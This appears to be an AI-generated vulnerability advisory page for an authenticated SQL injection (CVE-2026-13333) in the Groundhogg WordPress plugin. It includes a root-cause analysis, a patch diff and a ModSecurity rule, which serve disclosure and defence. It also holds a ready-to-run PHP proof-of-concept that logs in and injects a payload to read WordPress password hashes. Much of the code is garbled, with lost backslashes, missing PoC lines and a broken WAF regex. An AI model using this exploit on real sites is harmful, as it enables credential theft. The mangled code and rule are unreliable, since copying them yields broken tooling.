Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : June 26, 2026

CVE-2026-13333: Groundhogg <= 4.5.5 Authenticated (Sales Rep+) SQL Injection via 'query[select]' Parameter PoC, Patch Analysis & Rule

Plugin groundhogg
Severity Medium (CVSS 6.5)
CWE 89
Vulnerable Version 4.5.5
Patched Version 4.5.6
Disclosed June 25, 2026

Analysis Overview

“`json
{
“analysis”: “Atomic Edge analysis of CVE-2026-13333:nnThis vulnerability is an authenticated SQL Injection in the Groundhogg plugin for WordPress, affecting versions up to and including 4.5.5. The flaw resides in the Legacy_Contact_Query code path, where the ‘query[select]’ parameter is directly interpolated into SQL queries without proper sanitization or parameterization. A CVSS score of 6.5 reflects the high impact on confidentiality, though authentication is required.nnRoot cause: The vulnerability stems from insufficient input validation in the Groundhogg contact query handling. Specifically, two separate code paths exist: the sanitized ‘Contact_Query’ path and the unsanitized ‘Legacy_Contact_Query’ path (located in groundhogg/includes/legacy-contact-query.php). The ‘construct_request_fields()’ method at line ~746 directly concatenates the user-supplied ‘query[select]’ value into the SQL query string. When an attacker supplies an invalid filter type such as ‘query[filters][0][0][type]=invalid_filter_nonexistent’, a FilterException is thrown in the Contact_Query path. This exception is caught, and execution falls through to the Legacy_Contact_Query path where the ‘query[select]’ parameter is not sanitized. The diff shows the patched version adds column validation via the ‘has_column()’ method and uses wpdb::prepare() for safe parameterization.nnExploitation: An authenticated attacker with Sales Representative-level privileges or higher can exploit this vulnerability by sending a crafted POST request to the Groundhogg AJAX handler (wp_ajax_groundhogg_contact_query or similar). The attack vector involves setting ‘query[filters][0][0][type]’ to a non-existent filter type (e.g., ‘non_existent_filter_type’) to trigger the exception and fallback to the Legacy_Contact_Query code path. Simultaneously, the attacker injects the SQL payload via the ‘query[select]’ parameter, for example: ‘query[select]=user_pass FROM wp_users WHERE 1=1 — -‘. This allows appending arbitrary SQL into the SELECT clause of the contact query, enabling data extraction from arbitrary database tables.nnPatch analysis: The patched code in groundhogg/includes/legacy-contact-query.php adds input validation in the ‘construct_request_fields()’ method. For array-type ‘select’ parameters, it filters columns against the allowed contact table columns using ‘has_column()’ and then safely quotes them with ‘wpdb::prepare()’ using ‘%i.%i’ placeholders. For string-type ‘select’ parameters, it checks the column exists before building the SQL. If validation fails, the query defaults to selecting all columns (‘*’) instead of the user input. This prevents arbitrary SQL from being injected into the SELECT clause. The diff also shows removal of the vulnerable ‘get_steps()’ method in steps.php, which previously built raw SQL queries using ‘generate_where()’ and ‘generate_search()’ methods that performed no parameterization.nnImpact: Successful exploitation allows an authenticated attacker to extract sensitive information from the WordPress database, including user credentials (hashed passwords), email addresses, session tokens, and other data from arbitrary tables. The attacker can use UNION-based SQL injection to retrieve data from any table in the database. Since the injection point is in the SELECT clause, time-based blind techniques can also enumerate database contents. This can lead to further privilege escalation if password hashes are cracked, or compromise of the entire WordPress installation.”,
“poc_php”: “// Atomic Edge CVE Research – Proof of Conceptn// CVE-2026-13333 – Groundhogg <= 4.5.5 – Authenticated (Sales Rep+) SQL Injection via 'query[select]' Parameternn $username,n ‘pwd’ => $password,n ‘wp-submit’ => ‘Log In’,n ‘redirect_to’ => $target_url,n ‘testcookie’ => 1n);nn$ch = curl_init();ncurl_setopt($ch, CURLOPT_URL, $login_url);ncurl_setopt($ch, CURLOPT_POST, true);ncurl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($login_data));ncurl_setopt($ch, CURLOPT_RETURNTRANSFER, true);ncurl_setopt($ch, CURLOPT_HEADER, true);ncurl_setopt($ch, CURLOPT_COOKIEJAR, ‘/tmp/cookies.txt’);ncurl_setopt($ch, CURLOPT_FOLLOWLOCATION, false);n$response = curl_exec($ch);ncurl_close($ch);nn// Step 2: Trigger the SQL injection via the vulnerable query parametern$ajax_action = ‘groundhogg_contact_query’; // Adjust if differentnn$injection_payload = “user_pass FROM wp_users WHERE 1=1 — -“;nn$post_data = array(n ‘action’ => $ajax_action,n ‘query[filters][0][0][type]’ => ‘non_existent_filter_type’, // Trigger FilterException and fallbackn ‘query[select]’ => $injection_payload // SQL injection payloadn);nn$ch = curl_init();ncurl_setopt($ch, CURLOPT_URL, $target_url);ncurl_setopt($ch, CURLOPT_POST, true);ncurl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_data));ncurl_setopt($ch, CURLOPT_RETURNTRANSFER, true);ncurl_setopt($ch, CURLOPT_COOKIEFILE, ‘/tmp/cookies.txt’);ncurl_setopt($ch, CURLOPT_HTTPHEADER, array(‘X-Requested-With: XMLHttpRequest’));n$response = curl_exec($ch);ncurl_close($ch);nn// Output the response to see extracted datanecho “Response:\n”;necho $response;n?>n”,
“modsecurity_rule”: “# Atomic Edge WAF Rule – CVE-2026-13333n# Block SQL injection via query[select] in Groundhogg AJAX endpointn# Exploitable with invalid filter type to bypass sanitization pathnSecRule REQUEST_URI “@streq /wp-admin/admin-ajax.php” \n “id:20261993,phase:2,deny,status:403,chain,msg:’CVE-2026-13333 Groundhogg SQL Injection via query[select]’,severity:’CRITICAL’,tag:’CVE-2026-13333′”n SecRule ARGS_POST:action “@streq groundhogg_contact_query” “chain”n SecRule ARGS_POST:query[select] “@rx (?i)(SELECT|UNION|INSERT|UPDATE|DELETE|DROP|ALTER|CREATE|EXEC|UNHEX|0x[0-9a-fA-F]+|BENCHMARK|SLEEP|WAITFOR|LOAD_FILE|INTOs+OUTFILE|INFORMATION_SCHEMA|(?:bORb|bANDb)s+d+s*=s*d+s*–)” \n “t:urlDecode,t:lowercase,chain”n SecRule ARGS_POST:query[filters][0][0][type] “@rx ^(?!.*valid_filter_pattern).*$” \n “t:urlDecode,t:lowercase”n”
}
“`

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff
--- a/groundhogg/db/db.php
+++ b/groundhogg/db/db.php
@@ -8,6 +8,7 @@
 use GroundhoggContact;
 use GroundhoggDBQueryFilterException;
 use GroundhoggDBQueryFilters;
+use GroundhoggDBQueryQuery;
 use GroundhoggDBQueryTable_Query;
 use GroundhoggDBQueryWhere;
 use GroundhoggDB_Object;
@@ -328,15 +329,14 @@
 	 * @return string
 	 */
 	public function generate_search( $s = '' ) {
-		global $wpdb;

-		$where_args = array();
+		$where = new Where( new Table_Query( $this ), "OR" );

 		foreach ( $this->get_searchable_columns() as $column ) {
-			$where_args[ $column ] = "%" . $wpdb->esc_like( $s ) . "%";
+			$where->contains( $column, $s );
 		}

-		return $this->generate_where( $where_args, "OR" );
+		return "$where";
 	}

 	/**
@@ -394,27 +394,24 @@
 	 */
 	public function generate_where( $args = array(), $relationship = "AND" ) {

-		$where = array();
+		$where = new Where( new Table_Query( $this ), $relationship );
+
 		if ( ! empty( $args ) && is_array( $args ) ) {
 			foreach ( $args as $key => $value ) {

 				if ( is_array( $value ) ) {
-					$where[] = "$key IN (" . maybe_implode_in_quotes( $value ) . ")";
+					$where->in( $key, $value );
 				} else {
-					if ( is_string( $value ) ) {
-						$value = "'" . $value . "'";
-					}
-
-					if ( strpos( $value, '%' ) !== false ) {
-						$where[] = $key . " LIKE " . $value;
+					if ( str_contains( $value, '%' ) ) {
+						$where->like( $key, $value );
 					} else {
-						$where[] = $key . " = " . $value;
+						$where->equals( $key, $value );
 					}
 				}
 			}
 		}

-		return implode( " {$relationship} ", $where );
+		return "$where";

 	}

--- a/groundhogg/db/steps.php
+++ b/groundhogg/db/steps.php
@@ -3,6 +3,9 @@
 namespace GroundhoggDB;

 // Exit if accessed directly
+use GroundhoggDBQueryTable_Query;
+use GroundhoggStep;
+
 if ( ! defined( 'ABSPATH' ) ) {
 	exit;
 }
@@ -154,23 +157,24 @@
 	/**
 	 * Delete steps when a funnel is deleted...
 	 *
-	 * @param bool|int $id Funnel ID
+	 * @param bool|int $funnel_id Funnel ID
 	 *
 	 * @return bool|false|int
 	 */
-	public function delete_steps( $id = false ) {
-		if ( empty( $id ) ) {
+	public function delete_steps( $funnel_id = false ) {
+
+		if ( empty( $funnel_id ) ) {
 			return false;
 		}

-		$steps = $this->get_steps( array( 'funnel_id' => $id ) );
+		$query = new Table_Query( $this );
+		$query->where( 'funnel_id', $funnel_id );
+		$steps = $query->get_objects( Step::class );

-		$result = 0;
+		$result = false;

-		if ( $steps ) {
-			foreach ( $steps as $step ) {
-				$result = $this->delete( $step->ID );
-			}
+		foreach ( $steps as $step ) {
+			$result = $this->delete( $step->ID );
 		}

 		return $result;
@@ -209,61 +213,6 @@
 		return parent::get_by( $field, $value );
 	}

-
-	/**
-	 * Retrieve steps from the database
-	 *
-	 * @access  public
-	 * @since   2.1
-	 */
-	public function get_steps( $data = array(), $order = 'step_order' ) {
-
-		global $wpdb;
-
-		if ( ! is_array( $data ) ) {
-			return false;
-		}
-
-		$data = (array) $data;
-
-		$extra = '';
-
-		if ( isset( $data['search'] ) ) {
-
-			$extra .= sprintf( " AND (%s)", $this->generate_search( $data['search'] ) );
-
-		}
-
-		// Initialise column format array
-		$column_formats = $this->get_columns();
-
-		// Force fields to lower case
-		$data = array_change_key_case( $data );
-
-		// White list columns
-		$data = array_intersect_key( $data, $column_formats );
-
-		$where = $this->generate_where( $data );
-
-		if ( empty( $where ) ) {
-
-			$where = "1=1";
-
-		}
-
-		return $wpdb->get_results( "SELECT * FROM $this->table_name WHERE $where $extra ORDER BY `$order` ASC" );
-	}
-
-	/**
-	 * Count the total number of steps in the database
-	 *
-	 * @access  public
-	 * @since   2.1
-	 */
-	public function count( $args = array() ) {
-		return count( $this->get_steps( $args ) );
-	}
-
 	/**
 	 * Create the table
 	 *
--- a/groundhogg/groundhogg.php
+++ b/groundhogg/groundhogg.php
@@ -3,7 +3,7 @@
  * Plugin Name: Groundhogg
  * Plugin URI: https://www.groundhogg.io/?utm_source=wp-plugins&utm_campaign=plugin-uri&utm_medium=wp-dash
  * Description: CRM and marketing automation for WordPress
- * Version: 4.5.5
+ * Version: 4.5.6
  * Author: Groundhogg Inc.
  * Author URI: https://www.groundhogg.io/?utm_source=wp-plugins&utm_campaign=author-uri&utm_medium=wp-dash
  * Text Domain: groundhogg
@@ -24,7 +24,7 @@

 if ( ! defined( 'ABSPATH' ) ) exit; // Exit if accessed directly

-define( 'GROUNDHOGG_VERSION', '4.5.5' );
+define( 'GROUNDHOGG_VERSION', '4.5.6' );
 define( 'GROUNDHOGG_PREVIOUS_STABLE_VERSION', '4.5.3' );

 define( 'GROUNDHOGG__FILE__', __FILE__ );
--- a/groundhogg/includes/legacy-contact-query.php
+++ b/groundhogg/includes/legacy-contact-query.php
@@ -746,11 +746,30 @@
 	 *
 	 */
 	protected function construct_request_fields() {
+
+		global $wpdb;
+
 		if ( $this->query_vars['count'] ) {
 			return "COUNT($this->table_name.$this->primary_key) AS count";
 		}

-		return "$this->table_name.{$this->query_vars['select']}";
+		$select = $this->query_vars['select'];
+
+		if ( is_array( $select ) ) {
+
+			$columns = array_filter( $select, fn ( $column ) => is_string( $column ) && $this->gh_db_contacts->has_column( $column ) );
+
+			if ( ! empty( $columns ) ) {
+				$columns = array_map( fn ( $column ) => $wpdb->prepare( '%i.%i', $this->table_name, $column ), $columns );
+				return implode( ',', $columns );
+			}
+		}
+
+		if ( is_string( $select ) && $this->gh_db_contacts->has_column( $select ) ) {
+			$wpdb->prepare( '%i.%i', $this->table_name, $select );
+		}
+
+		return "$this->table_name.*";
 	}

 	/**

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School